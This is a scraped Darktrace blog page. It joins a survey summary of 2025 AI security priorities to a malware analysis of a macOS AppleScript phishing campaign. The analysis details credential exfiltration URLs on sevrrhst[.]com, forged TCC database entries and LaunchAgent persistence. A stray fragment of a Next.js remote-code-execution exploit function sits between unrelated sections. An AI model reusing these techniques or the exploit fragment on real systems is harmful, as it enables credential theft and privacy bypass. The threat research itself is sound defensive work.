Survey Findings: AI Cybersecurity Priorities and Objectives in 2025
Part 4/4: Darktrace shared new insights in the annual State of AI Cybersecurity report. This blog explores its findings on defenders’ priorities and objectives going into 2025. Discover the latest trends of major obstacles and the plans to overcome them by downloading the full report.
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community
Share
25
Mar 2025
AI is changing the cybersecurity field, both on the offensive and defensive sides. We surveyed over 1,500 cybersecurity professionals from around the world to uncover their attitudes, understanding, and priorities when it comes to AI cybersecurity in 2025. Our full report, unearthing some telling trends, is available now.
It is clear that security professionals know their field is changing fast, and that AI will continue to influence those changes. Our survey results show that they are aware that the rise of AI will require them to adopt new tools and learn to use them effectively. Still, they aren’t always certain about how to plan for the future, or what to invest in.
The top priorities of security stakeholders for improving their defenses against AI-powered threats include augmenting their existing tool stacks with AI-powered solutions and improving integration among their security tools.
Figure 1: Year-over-year changes to the priorities of securitystakeholders.
Increasing cybersecurity staff
As was also the case last year, security stakeholders are less interested in hiring additional staff than in adding new AI-powered tools onto their existing security stacks, with only with 11% (and only 8% of executives) planning to increase cybersecurity staff in 2025.
Adding AI-powered security tools to supplement existing solutions
Executives are particularly enthusiastic about adopting AI-driven tools. Within that goal, there is consensus about the qualities cyber professionals are looking for when purchasing new security capabilities or replacing existing products.
87% of survey respondents prefer solutions that are part of a broader platform over individual point products
These results are similar to last year’s, where again, almost nine out of ten agreed that a platform-oriented security solution was more effective at stopping cyber threats than a collection of individual products.
88% of survey respondents agree that the use of AI within the security stack is critical to freeing up time for security teams to become more proactive, compared to reactive
AI itself can contribute to this shift from reactive to proactive security, improving risk prioritization and automating preventative strategies like Attack Surface Management (ASM) and proactive exposure management.
84% of survey respondents prefer defensive AI solutions that do not require the organization’s data to be shared externally
This preference may reflect increasing attention to the data privacy and security risks posed by generative AI (gen AI) adoption. It may also reflect growing awareness of data residency requirements and other restrictions that regulators are imposing.
Improving cybersecurity awareness training for end users
Based on the survey results, practitioners in SecOps are more interested in improving security awareness training.
This goal is not necessarily mutually exclusive from the addition of AI tools. For example, teams can leverage AI to build more effective security awareness training programs, and as gen AI tools are adopted, users will need to be taught about data privacy and associated security risks.
Looking towards the future
One conclusion we can draw from the attitudinal shifts from last year’s survey to this year’s: while hiring more security staff might be a nice-to-have, implementing AI-powered tools so that existing employees can work smarter is increasingly viewed as a must-have.
However, trending goals are not just about managing resources, whether headcount or AI investments, to keep up with workloads. Existing end users must also be trained to follow safe practices while using established and newly adopted tools.
Security professionals, including executives, SecOps, and every role in between, continue to shift their identified challenges and priorities as they gear up for the coming year in the Era of AI.
The full report for Darktrace’s State of AI Cybersecurity is out now. Download the paper to dig deeper into these trends, and see how results differ by industry, region, organization size, and job title.
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
The State of AI Cybersecurity 2026: Unveiling insights from over 1,500 security leaders
This year, organizations have been racing to implement generative and agentic AI tools at a breakneck pace. Darktrace asked over 1,500 security leaders about how they’re navigating these rapid technology shifts – and the challenges and opportunities enterprise AI presents.
Introducing Darktrace / SECURE AI: Complete AI Security Across Your Enterprise
Darktrace introduces a new product for securing AI across the enterprise. Darktrace / SECURE AI marks the next chapter in securing organizations from cyber threats and emerging risks. By combining full visibility, intelligent behavioral oversight, and real-time control, Darktrace is enabling enterprises to safely adopt, manage, and build AI within their business.
How to Secure AI in the Enterprise: A Practical Framework for Models, Data, and Agents
AI is accelerating faster than governance can keep up, expanding attack surfaces and creating unseen risks. From data and models to AI agents and integrations, security starts by knowing what to protect. Discover how to identify AI-driven risks, so you can establish governance frameworks and controls that secure innovation without exposing the enterprise to new attack surfaces.
def execute_rce_command(base_url, command, timeout=120): """ ACTUAL EXPLOIT METHOD - Next.js React Server Component RCE DO NOT MODIFY THIS FUNCTION Returns: (success, output) """ try: # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
AppleScript Abuse: Unpacking a macOS Phishing Campaign
Introduction
Darktrace security researchers have identified a campaign targeting macOS users through a multistage malware campaign that leverages social engineering and attempted abuse of the macOS Transparency, Consent and Control (TCC) privacy feature.
The malware establishes persistence via LaunchAgents and deploys a modular Node.js loader capable of executing binaries delivered from a remote command-and-control (C2) server.
Due to increased built-in security mechanisms in macOS such as System Integrity Protection (SIP) and Gatekeeper, threat actors increasingly rely on alternative techniques, including fake software and ClickFix attacks [1] [2]. As a result, macOS threats r[NJ1] ely more heavily on social engineering instead of vulnerability exploitation to deliver payloads, a trend Darktrace has observed across the threat landscape [3].
Technical analysis
The infection chain starts with a phishing email that prompts the user to download an AppleScript file named “Confirmation_Token_Vesting.docx.scpt”, which attemps to masquerade as a legitimate Microsoft document.
Figure 1: The AppleScript header prompting execution of the script.
Once the user opens the AppleScript file, they are presented with a prompt instructing them to run the script, supposedly due to “compatibility issues”. This prompt is necessary as AppleScript requires user interaction to execute the script, preventing it from running automatically. To further conceal its intent, the malicious part of the script is buried below many empty lines, assuming a user likely will not to the end of the file where the malicious code is placed.
Figure 2: Curl request to receive the next stage.
This part of the script builds a silent curl request to “sevrrhst[.]com”, sending the user’s macOS operating system, CPU type and language. This request retrieves another script, which is saved as a hidden file at in ~/.ex.scpt, executed, and then deleted.
The retrieved payload is another AppleScript designed to steal credentials and retrieve additional payloads. It begins by loading the AppKit framework, which enables the script to create a fake dialog box prompting the user to enter their system username and password [4].
Figure 3: Fake dialog prompt for system password.
The script then validates the username and password using the command "dscl /Search -authonly <username> <password>", all while displaying a fake progress bar to the user. If validation fails, the dialog window shakes suggesting an incorrect password and prompting the user to try again. The username and password are then encoded in Base64 and sent to: https://sevrrhst[.]com/css/controller.php?req=contact&ac=<user>&qd=<pass>.
Figure 4: Requirements gathered on trusted binary.
Within the getCSReq() function, the script chooses from trusted Mac applications: Finder, Terminal, ScriptEditor, osascript, and bash. Using the codesign command codesign -d --requirements, it extracts the designated code-signing requirement from the target application. If a valid requirement cannot be retrieved, that binary is skipped. Once a designated requirement is gathered, it is then compiled into a binary trust object using the Code Signing Requirement command (csreq). This trust object is then converted into hex so it can later be injected into the TCC SQLite database.[NB2]
To bypass integrity checks, the TCC directory is renamed to com.appled.tcc using Finder. TCC is a macOS privacy framework designed to restrict application access to sensitive data, requiring users to explicitly grant permissions before apps can access items such as files, contacts, and system resources [1].
Figure 5: TCC directory renamed to com.appled.TCC.
Figure 6: Example of how users interact with TCC.
After the database directory rename is attempted, the killall command is used on the tccd daemon to force macOS to release the lock on the database. The database is then injected with the forged access records, including the service, trusted binary path, auth_value, and the forged csreq binary. The directory is renamed back to com.apple.TCC, allowing the injected entries to be read and the permissions to be accepted. This enables persistence authorization for:
Full disk access
Screen recording
Accessibility
Camera
Apple Events
Input monitoring
The malware does not grant permissions to itself; instead, it forges TCC authorizations for trusted Apple-signed binaries (Terminal, osascript, Script Editor, and bash) and then executes malicious actions through these binaries to inherit their permissions.
Although the malware is attempting to manipulate TCC state via Finder, a trusted system component, Apple has introduced updates in recent macOS versions that move much of the authorization enforcement into the tccd daemon. These updates prevent unauthorized permission modifications through directory or database manipulation. As a result, the script may still succeed on some older operating systems, but it is likely to fail on newer installations, as tcc.db reloads now have more integrity checks and will fail on Mobile Device Management (MDM) [NB5] systems as their profiles override TCC.
Figure 7: Snippet of decoded Base64 response.
A request is made to the C2, which retrieves and executes a Base64-encoded script. This script retrieves additional payloads based on the system architecture and stores them inside a directory it creates named ~/.nodes. A series of requests are then made to sevrrhst[.]com for:
/controller.php?req=instd
/controller.php?req=tell
/controller.php?req=skip
These return a node archive, bundled Node.js binary, and a JavaScript payload. The JavaScript file, index.js, is a loader that profiles the system and sends the data to the C2. The script identified the system platform, whether macOS, Linux or Windows, and then gathers OS version, CPU details, memory usage, disk layout, network interfaces, and running process. This is sent to https://sevrrhst[.]com/inc/register.php?req=init as a JSON object. The victim system is then registered with the C2 and will receive a Base64-encoded response.
Figure 8: LaunchAgent patterns to be replaced with victim information.
The Base64-encoded response decodes to an additional Javacript that is used to set up persistence. The script creates a folder named com.apple.commonjs in ~/Library and copies the Node dependencies into this directory. From the C2, the files package.json and default.js are retrieved and placed into the com.apple.commonjs folder. A LaunchAgent .plist is also downloaded into the LaunchAgents directory to ensure the malware automatically starts. The .plist launches node and default.js on load, and uses output logging to log errors and outputs.
Default.js is Base64 encoded JavaScript that functions as a command loop, periodically sending logs to the C2, and checking for new payloads to execute. This gives threat actors ongoing and the ability to dynamically modify behavior without having to redeploy the malware. A further Base64-encoded JavaScript file is downloaded as addon.js.
Addon.js is used as the final payload loader, retrieving a Base64-encoded binary from https://sevrrhst[.]com/inc/register.php?req=next. The binary is decoded from Base64 and written to disk as “node_addon”, and executed silently in the background. At the time of analysis, the C2 did not return a binary, possibly because certain conditions were not met. However, this mechanism enables the delivery and execution of payloads. If the initial TCC abuse were successful, this payload could access protected resources such as Screen Capture and Camera without triggering a consent prompt, due to the previously established trust.
Conclusion
This campaign shows how a malicious threat actor can use an AppleScript loader to exploit user trust and manipulate TCC authorization mechanisms, achieving persistent access to a target network without exploiting vulnerabilities.
Although recent macOS versions include safeguards against this type of TCC abuse, users should keep their systems fully updated to ensure the most up to date protections. These findings also highlight the intentions of threat actors when developing malware, even when their implementation is imperfect.
Credit to Tara Gould (Malware Research Lead) Edited by Ryan Traill (Analyst Content Lead)